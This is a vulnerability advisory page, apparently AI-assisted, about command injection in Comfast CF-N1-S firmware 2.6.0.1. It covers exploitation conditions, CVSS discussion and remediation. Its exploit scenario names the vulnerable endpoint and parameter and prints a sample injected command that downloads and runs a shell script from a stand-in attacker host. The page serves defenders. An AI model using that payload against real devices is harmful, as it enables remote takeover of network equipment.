Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain low-privilege credentials for management interface
-
DeliveryAuthenticate to /cgi-bin/mbox-config endpoint
-
ExploitInject shell metacharacters into 'sn' parameter
-
Executionsprintf constructs malicious command string
-
ImpactArbitrary OS commands execute on device firmware
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the attacker to hold low-privilege authenticated access to the Comfast CF-N1-S management interface (confirmed by PR:L in the CVSS 4.0 vector). The management CGI endpoint /cgi-bin/mbox-config must be network-reachable on the device's HTTP or HTTPS management port. The ptest_sn section of that endpoint must be accessible to the authenticated session level. No non-default configuration or special feature enablement is described as required beyond device reachability and valid credentials. The primary limiting factors are the authentication requirement (PR:L) and whether the management interface is exposed to untrusted networks - environments that restrict management interface access to a dedicated VLAN or jump host significantly reduce realistic exploitation exposure. |
| Impact | The published CVSS 4.0 score of 2.1 is strikingly inconsistent with the nature of this vulnerability. The vector confirms network accessibility (AV:N), low complexity (AC:L), low privileges (PR:L), and no user interaction (UI:N) - yet rates all impact metrics at Low (VC:L/VI:L/VA:L/SC:L/SI:L/SA:L), which appears to substantially understate the actual OS-level command execution impact typical of CWE-77 on embedded devices. This discrepancy should be verified against the published PoC behavior before accepting the score at face value. The E:P supplemental metric confirms a publicly available proof-of-concept, lowering the skill barrier for exploitation. The vulnerability is not in CISA KEV, and no EPSS data was provided. The PR:L requirement provides a meaningful barrier to unauthenticated opportunistic exploitation, but authenticated command injection on a network-perimeter device remains a serious operational risk. The gap between the numerically low CVSS score and the actual attack primitive warrants independent verification - defenders should not rely solely on the 2.1 score to deprioritize this finding without reviewing the PoC. |
| Exploit ScenarioDerived | An attacker with valid low-privilege credentials to the Comfast CF-N1-S web management interface sends a crafted HTTP GET or POST request to /cgi-bin/mbox-config?method=SET§ion=ptest_sn with a malicious 'sn' value containing shell metacharacters - for example, appending a semicolon followed by a command such as 'wget attacker.com/shell.sh|sh'. The sprintf call constructs a command string incorporating this unsanitized input, causing the underlying system() or popen() call to execute the injected command with device OS privileges. A public proof-of-concept PDF documenting this technique is available on GitHub, reducing exploitation skill requirements. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 20, 2026
Command injection in the Comfast CF-N1-S firmware 2.6.0.1 CGI management interface allows remote low-privileged attackers to execute arbitrary OS commands by manipulating the 'sn' parameter in the /cgi-bin/mbox-config endpoint. The root cause is unsafe use of sprintf in the CGI handler that incorporates attacker-controlled input directly into a shell command without sanitization or escaping. A public proof-of-concept has been published on GitHub as a PDF document; this is not currently listed in the CISA KEV catalog.
RemediationAI
No vendor-released patch has been identified at time of analysis - all references point to VulDB disclosures and a researcher-published PDF with no corresponding Comfast firmware update or advisory found. As an immediate compensating control, restrict access to the device's HTTP/HTTPS management interface by isolating it to a dedicated management VLAN or blocking the management port at the network perimeter, accepting the trade-off of losing remote management capability from untrusted segments. Enforce strong, unique credentials on all management accounts to raise the bar above the PR:L requirement, since authentication is the primary exploitation barrier. If the device supports disabling the /cgi-bin/mbox-config CGI endpoint while retaining core routing functionality, that specific endpoint should be disabled. Monitor VulDB entry 393623 (https://vuldb.com/vuln/393623) and the Comfast vendor site for firmware releases addressing this CGI handler flaw.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected product is the Comfast CF-N1-S wireless device running firmware 2.6.0.1 (CPE: cpe:2.3:a:comfast:cf-n1-s:*:*:*:*:*:*:*:*). The flaw (CWE-77: Improper Neutralization of Special Elements used in a Command) resides in the sprintf call within the CGI binary handling the /cgi-bin/mbox-config route when invoked with method=SET and section=ptest_sn. The 'sn' argument is incorporated into a shell command string via sprintf without sanitization, enabling injection of shell metacharacters such as semicolons, backticks, or pipes. This is a textbook OS command injection pattern on an embedded Linux device where CGI handlers directly invoke system commands using user-supplied formatted strings.
Know when Cf N1 S gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P
OS command injection yields full device control (S:C, C/I/A:H); PR:L reflects the authenticated access requirement confirmed by the CVSS 4.0 vector.
Primary rating from Vendor (VulDB).
CVSS VectorVendor: VulDB
Lifecycle Timeline
3DescriptionCVE.org
A flaw has been found in Comfast CF-N1-S 2.6.0.1. This impacts the function sprintf of the file /cgi-bin/mbox-config?method=SET§ion=ptest_sn. Executing a manipulation of the argument sn can lead to command injection. The attack can be launched remotely. The exploit has been published and may be used.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
An unauthenticated stack-based buffer overflow in the web management interface of the Comfast CF-N1-S (firmware 2.6.0.1)
Remote command injection in Comfast CF-N1-S firmware 2.6.0.1 allows a low-privilege authenticated attacker to execute ar
Stack-based buffer overflow in the Comfast CF-N1-S 2.6.0.1 web management interface enables remote code execution via th
Stack-based buffer overflow in the Comfast CF-N1-S firmware version 2.6.0.1 allows remote attackers with low-privilege w
Stack-based buffer overflow in Comfast CF-N1-S firmware 2.6.0.1 allows authenticated remote attackers to execute arbitra
Remote unauthenticated stack-based buffer overflow in the Comfast CF-N1-S wireless device (firmware 2.6.0.1) lets attack
Command injection in COMFAST CF-N1-S firmware 2.6.0.1 allows remote authenticated attackers to execute arbitrary OS comm
Command injection in the Comfast CF-N1-S router version 2.6.0.1 allows an authenticated remote attacker to execute arbit
EUVD-2026-63479
GHSA-m27q-v5c6-r932
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB